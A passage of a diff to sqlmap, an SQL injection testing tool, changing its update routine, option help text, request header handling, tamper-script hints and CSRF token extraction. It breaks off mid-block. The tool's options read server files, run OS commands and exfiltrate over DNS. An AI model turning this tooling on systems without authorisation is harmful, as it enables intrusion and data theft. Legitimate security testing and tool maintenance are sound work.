 from lib.core.common import readInput
 from lib.core.data import conf
@@ -25,6 +26,7 @@ from lib.core.data import paths
 from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
+from lib.core.settings import VERSION
 from lib.core.settings import ZIPBALL_PAGE
 from lib.core.settings import UNICODE_ENCODING

@@ -39,6 +41,10 @@ def update():
        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
        logger.warn(warnMsg)

+        if VERSION == getLatestRevision():
+            logger.info("already at the latest revision '%s'" % getRevisionNumber())
+            return
+
        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
        if readInput(message, default='N', boolean=True):
            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
@@ -49,6 +55,7 @@ def update():
                errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
                logger.error(errMsg)
            else:
+                attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
                for wildcard in ('*', ".*"):
                    for _ in glob.glob(os.path.join(directory, wildcard)):
                        try:
@@ -83,6 +90,11 @@ def update():
                    else:
                        if not success:
                            logger.error("update could not be completed")
+                        else:
+                            try:
+                                os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
+                            except OSError:
+                                logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
    else:
        infoMsg = "updating sqlmap to the latest development revision from the "
        infoMsg += "GitHub repository"
@@ -99,16 +99,16 @@ def cmdLineParser(argv=None):
                           help="Force usage of given HTTP method (e.g. PUT)")

        request.add_option("--data", dest="data",
-                           help="Data string to be sent through POST")
+                           help="Data string to be sent through POST (e.g. \"id=1\")")

        request.add_option("--param-del", dest="paramDel",
-                           help="Character used for splitting parameter values")
+                           help="Character used for splitting parameter values (e.g. &)")

        request.add_option("--cookie", dest="cookie",
-                           help="HTTP Cookie header value")
+                           help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")

        request.add_option("--cookie-del", dest="cookieDel",
-                           help="Character used for splitting cookie values")
+                           help="Character used for splitting cookie values (e.g. ;)")

        request.add_option("--load-cookies", dest="loadCookies",
                           help="File containing cookies in Netscape/wget format")
@@ -144,7 +144,7 @@ def cmdLineParser(argv=None):
                           help="HTTP authentication PEM cert/private key file")

        request.add_option("--ignore-code", dest="ignoreCode", type="int",
-                           help="Ignore HTTP error code (e.g. 401)")
+                           help="Ignore (problematic) HTTP error code (e.g. 401)")

        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                           help="Ignore system default proxy settings")
@@ -207,7 +207,7 @@ def cmdLineParser(argv=None):
                           help="Parameter used to hold anti-CSRF token")

        request.add_option("--csrf-url", dest="csrfUrl",
-                           help="URL address to visit to extract anti-CSRF token")
+                           help="URL address to visit for extraction of anti-CSRF token")

        request.add_option("--force-ssl", dest="forceSSL", action="store_true",
                           help="Force usage of SSL/HTTPS")
@@ -253,13 +253,13 @@ def cmdLineParser(argv=None):
                             help="Regexp to exclude parameters from testing (e.g. \"ses\")")

        injection.add_option("--dbms", dest="dbms",
-                             help="Force back-end DBMS to this value")
+                             help="Force back-end DBMS to provided value")

        injection.add_option("--dbms-cred", dest="dbmsCred",
                             help="DBMS authentication credentials (user:password)")

        injection.add_option("--os", dest="os",
-                             help="Force back-end DBMS operating system to this value")
+                             help="Force back-end DBMS operating system to provided value")

        injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
                             help="Use big numbers for invalidating values")
@@ -333,9 +333,12 @@ def cmdLineParser(argv=None):
        techniques.add_option("--dns-domain", dest="dnsDomain",
                              help="Domain name used for DNS exfiltration attack")

-        techniques.add_option("--second-order", dest="secondOrder",
+        techniques.add_option("--second-url", dest="secondUrl",
                              help="Resulting page URL searched for second-order response")

+        techniques.add_option("--second-req", dest="secondReq",
+                              help="Load second-order HTTP request from file")
+
        # Fingerprint options
        fingerprint = OptionGroup(parser, "Fingerprint")

@@ -400,7 +403,7 @@ def cmdLineParser(argv=None):
                               help="Search column(s), table(s) and/or database name(s)")

        enumeration.add_option("--comments", dest="getComments", action="store_true",
-                               help="Retrieve DBMS comments")
+                               help="Check for DBMS comments during enumeration")

        enumeration.add_option("-D", dest="db",
                               help="DBMS database to enumerate")
@@ -468,13 +471,13 @@ def cmdLineParser(argv=None):
        # File system options
        filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")

-        filesystem.add_option("--file-read", dest="rFile",
+        filesystem.add_option("--file-read", dest="fileRead",
                              help="Read a file from the back-end DBMS file system")

-        filesystem.add_option("--file-write", dest="wFile",
+        filesystem.add_option("--file-write", dest="fileWrite",
                              help="Write a local file on the back-end DBMS file system")

-        filesystem.add_option("--file-dest", dest="dFile",
+        filesystem.add_option("--file-dest", dest="fileDest",
                              help="Back-end DBMS absolute filepath to write to")

        # Takeover options
@@ -581,7 +584,7 @@ def cmdLineParser(argv=None):
                           help="Log all HTTP traffic into a HAR file")

        general.add_option("--hex", dest="hexConvert", action="store_true",
-                           help="Use DBMS hex function(s) for data retrieval")
+                           help="Use hex conversion during data retrieval")

        general.add_option("--output-dir", dest="outputDir", action="store",
                           help="Custom output directory path")
@@ -614,7 +617,7 @@ def cmdLineParser(argv=None):
                                 help="Run host OS command(s) when SQL injection is found")

        miscellaneous.add_option("--answers", dest="answers",
-                                 help="Set question answers (e.g. \"quit=N,follow=N\")")
+                                 help="Set predefined answers (e.g. \"quit=N,follow=N\")")

        miscellaneous.add_option("--beep", dest="beep", action="store_true",
                                 help="Beep on question and/or when SQL injection is found")
@@ -623,7 +626,7 @@ def cmdLineParser(argv=None):
                                 help="Clean up the DBMS from sqlmap specific UDF and tables")

        miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
-                                 help="Check for missing (non-core) sqlmap dependencies")
+                                 help="Check for missing (optional) sqlmap dependencies")

        miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
                                 help="Disable console output coloring")
@@ -632,7 +635,10 @@ def cmdLineParser(argv=None):
                                 help="Use Google dork results from specified page number")

        miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
-                                 help="Make a thorough testing for a WAF/IPS/IDS protection")
+                                 help="Make a thorough testing for a WAF/IPS protection")
+
+        miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
+                                 help="Display list of available tamper scripts")

        miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
                                 help="Imitate smartphone through HTTP User-Agent header")
@@ -640,11 +646,11 @@ def cmdLineParser(argv=None):
        miscellaneous.add_option("--offline", dest="offline", action="store_true",
                                 help="Work in offline mode (only use session data)")

-        miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
-                                 help="Safely remove all content from output directory")
+        miscellaneous.add_option("--purge", dest="purge", action="store_true",
+                                 help="Safely remove all content from sqlmap data directory")

        miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
-                                 help="Skip heuristic detection of WAF/IPS/IDS protection")
+                                 help="Skip heuristic detection of WAF/IPS protection")

        miscellaneous.add_option("--smart", dest="smart", action="store_true",
                                 help="Conduct thorough tests only if positive heuristic(s)")
@@ -683,6 +689,9 @@ def cmdLineParser(argv=None):
        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

+        parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
+                          help=SUPPRESS_HELP)
+
        parser.add_option("--force-threads", dest="forceThreads", action="store_true",
                          help=SUPPRESS_HELP)

@@ -744,6 +753,7 @@ def cmdLineParser(argv=None):
        prompt = False
        advancedHelp = True
        extraHeaders = []
+        tamperIndex = None

        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
        for arg in argv:
@@ -815,6 +825,12 @@ def cmdLineParser(argv=None):
            elif re.search(r"\A-\w=.+", argv[i]):
                dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
                raise SystemExit
+            elif argv[i].startswith("--tamper"):
+                if tamperIndex is None:
+                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+                else:
+                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
+                    argv[i] = ""
            elif argv[i] == "-H":
                if i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
@@ -868,9 +884,9 @@ def cmdLineParser(argv=None):
        if args.dummy:
            args.url = args.url or DUMMY_URL

-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
-            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
-            errMsg += "use -h for basic or -hh for advanced help\n"
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
+            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
+            errMsg += "Use -h for basic and -hh for advanced help\n"
            parser.error(errMsg)

        return args
@@ -13,7 +13,6 @@ from lib.core.data import kb
 from lib.core.data import paths
 from lib.parse.handler import FingerprintHandler

-
 def headersParser(headers):
    """
    This function calls a class that parses the input HTTP headers to
@@ -31,7 +30,7 @@ def headersParser(headers):
            "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
        }

-    for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
+    for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
        value = headers[header]
        xmlfile = kb.headerPaths[header]
        handler = FingerprintHandler(value, kb.headersFp)
@@ -9,6 +9,7 @@ import re

 from xml.sax.handler import ContentHandler

+from lib.core.common import urldecode
 from lib.core.common import parseXmlFile
 from lib.core.data import kb
 from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
        self._dbms = None
        self._page = (page or "")
        self._lower_page = self._page.lower()
+        self._urldecoded_page = urldecode(self._page)

        self.dbms = None

@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
                keywords = sorted(keywords, key=len)
                kb.cache.regex[regexp] = keywords[-1].lower()

-            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
+            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
                self.dbms = self._dbms
                self._markAsErrorPage()

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """

 import os
+import re

 from xml.etree import ElementTree as et

@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
 from lib.core.settings import PAYLOAD_XML_FILES

 def cleanupVals(text, tag):
+    if tag == "clause" and '-' in text:
+        text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
+
    if tag in ("clause", "where"):
        text = text.split(',')

@@ -36,7 +40,7 @@ def cleanupVals(text, tag):
    return text

 def parseXmlNode(node):
-    for element in node.getiterator('boundary'):
+    for element in node.getiterator("boundary"):
        boundary = AttribDict()

        for child in element.getchildren():
@@ -48,7 +52,7 @@ def parseXmlNode(node):

        conf.boundaries.append(boundary)

-    for element in node.getiterator('test'):
+    for element in node.getiterator("test"):
        test = AttribDict()

        for child in element.getchildren():
@@ -35,7 +35,6 @@ from lib.core.enums import PLACE
 from lib.core.exception import SqlmapCompressionException
 from lib.core.settings import BLOCKED_IP_REGEX
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
-from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import EVENTVALIDATION_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
@@ -220,10 +219,6 @@ def checkCharEncoding(encoding, warn=True):
    try:
        codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
    except (LookupError, ValueError):
-        if warn and ' ' not in encoding:
-            warnMsg = "unknown web page charset '%s'. " % encoding
-            warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
-            singleTimeLogMessage(warnMsg, logging.WARN, encoding)
        encoding = None

    if encoding:
@@ -334,7 +329,7 @@ def decodePage(page, contentEncoding, contentType):

            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))

-            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
                kb.pageEncoding = "utf-8"
                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                    page = page[3:]
@@ -390,7 +385,7 @@ def processResponse(page, responseHeaders, status=None):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
-                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
+                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
        kb.browserVerification = True
@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
            seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
            seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")

+            if kb.heavilyDynamic:
+                seq1 = seq1.split("\n")
+                seq2 = seq2.split("\n")
+
            seqMatcher.set_seq1(seq1)
            seqMatcher.set_seq2(seq2)

-            ratio = round(seqMatcher.quick_ratio(), 3)
+            ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import binascii
 import compiler
 import httplib
-import json
 import keyword
 import logging
 import re
@@ -17,6 +16,7 @@ import string
 import struct
 import time
 import traceback
+import urllib
 import urllib2
 import urlparse

@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import escapeJsonValue
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
 from lib.core.common import findMultipartPostBoundary
@@ -63,10 +64,12 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
 from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import HINT
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import NULLCONNECTION
@@ -86,6 +89,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import DEFAULT_CONTENT_TYPE
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
+from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
 from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -96,6 +100,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
 from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
 from lib.core.settings import MIN_TIME_RESPONSES
+from lib.core.settings import MAX_TIME_RESPONSES
+from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -118,7 +124,6 @@ from lib.request.methodrequest import MethodRequest
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.socks.socks import ProxyError

-
 class Connect(object):
    """
    This class defines methods used to perform HTTP requests
@@ -357,14 +362,21 @@ class Connect(object):
            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

-            if not getHeader(headers, HTTP_HEADER.ACCEPT):
-                headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
+            if not conf.requestFile or not target:
+                if not getHeader(headers, HTTP_HEADER.HOST):
+                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

-            if not getHeader(headers, HTTP_HEADER.HOST) or not target:
-                headers[HTTP_HEADER.HOST] = getHostHeader(url)
+                if not getHeader(headers, HTTP_HEADER.ACCEPT):
+                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

-            if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
-                headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
+                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
+                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
+
+            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
+                for header in headers:
+                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
+                        del headers[header]
+                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +393,6 @@ class Connect(object):
            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = "keep-alive"

-            # Reset header values to original in case of provided request file
-            if target and conf.requestFile:
-                headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
-
            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

@@ -407,8 +415,10 @@ class Connect(object):
                ws.close()
                code = ws.status
                status = httplib.responses[code]
+
                class _(dict):
                    pass
+
                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

@@ -428,8 +438,10 @@ class Connect(object):
                    method = unicodeencode(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
-                else:
+                elif url is not None:
                    req = urllib2.Request(url, post, headers)
+                else:
+                    return None, None, None

                requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])

@@ -486,15 +498,16 @@ class Connect(object):
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
-                    code = conn.code
+                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
+                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-                status = getUnicode(conn.msg) if conn else None
+                status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None

            kb.connErrorCounter = 0

@@ -577,13 +590,13 @@ class Connect(object):
                page = page if isinstance(page, unicode) else getUnicode(page)

            code = ex.code
-            status = getUnicode(ex.msg)
+            status = getSafeExString(ex)

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

-            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -641,15 +654,8 @@ class Connect(object):
            elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
                warnMsg = "connection was forcibly closed by the target URL"
            elif "timed out" in tbMsg:
-                if not conf.disablePrecon:
-                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
-                    conf.disablePrecon = True
-
-                    if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                        kb.responseTimes.clear()
-
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
                    kb.droppingRequests = True
                warnMsg = "connection timed out to the target URL"
            elif "Connection reset" in tbMsg:
@@ -658,7 +664,7 @@ class Connect(object):
                    conf.disablePrecon = True

                if kb.testMode:
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
                    kb.droppingRequests = True
                warnMsg = "connection reset to the target URL"
            elif "URLError" in tbMsg or "error" in tbMsg:
@@ -740,16 +746,16 @@ class Connect(object):
        if conn and getattr(conn, "redurl", None):
            _ = urlparse.urlsplit(conn.redurl)
            _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
-            requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
+            requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)

            if kb.resendPostOnRedirect is False:
-                requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg)
+                requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
                requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg)
                requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg)

            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
        else:
-            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)

        if responseHeaders:
            logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -768,7 +774,8 @@ class Connect(object):
        return page, responseHeaders, code

    @staticmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
+    @stackedmethod
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
        """
        This method calls a function to get the target URL page content
        and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -815,10 +822,14 @@ class Connect(object):
                conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))

        if payload:
-            if kb.tamperFunctions:
+            delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
+
+            if not disableTampering and kb.tamperFunctions:
                for function in kb.tamperFunctions:
+                    hints = {}
+
                    try:
-                        payload = function(payload=payload, headers=auxHeaders)
+                        payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
                    except Exception, ex:
                        errMsg = "error occurred while running tamper "
                        errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -831,6 +842,18 @@ class Connect(object):

                value = agent.replacePayload(value, payload)

+                if hints:
+                    if HINT.APPEND in hints:
+                        value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
+
+                    if HINT.PREPEND in hints:
+                        if place == PLACE.URI:
+                            match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
+                            if match:
+                                value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
+                        else:
+                            value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
+
            logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))

            if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -839,24 +862,18 @@ class Connect(object):
                    # with their HTML encoded counterparts
                    payload = payload.replace('>', "&gt;").replace('<', "&lt;")
                elif kb.postHint == POST_HINT.JSON:
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                elif kb.postHint == POST_HINT.JSON_LIKE:
                    payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                    payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                    skip = False

-                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
                        if kb.cookieEncodeChoice is None:
                            msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
                            kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -945,7 +962,7 @@ class Connect(object):
                retVal = paramString
                match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString)
                if match:
-                    retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                else:
                    match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
                    if match:
@@ -953,15 +970,27 @@ class Connect(object):
                return retVal

            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
-            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
+            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s\b[^>]*\bvalue=[\"']?(?P<result>[^>'\"]*)" % re.escape(conf.csrfToken), page or "")

            if not token:
-                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
+                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=[\"']?(?P<result>[^>'\"]*)[\"']?[^>]*\bname=[\"']?%s\b" % re.escape(conf.csrfToken), page or "")

                if not token:
                    match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
                    token = match.group(1) if match else None

+                    if not token:
+                        token = extractRegexResult(r"\b%s\s*[:=]\s*(?P<result>\w+)" % re.escape(conf.csrfToken), str(headers))
+
+                        if not token:
+                            token = extractRegexResult(r"\b%s\s*=\s*['\"]?(?P<result>[^;'\"]+)" % re.escape(conf.csrfToken), page or "")
+
+                            if token:
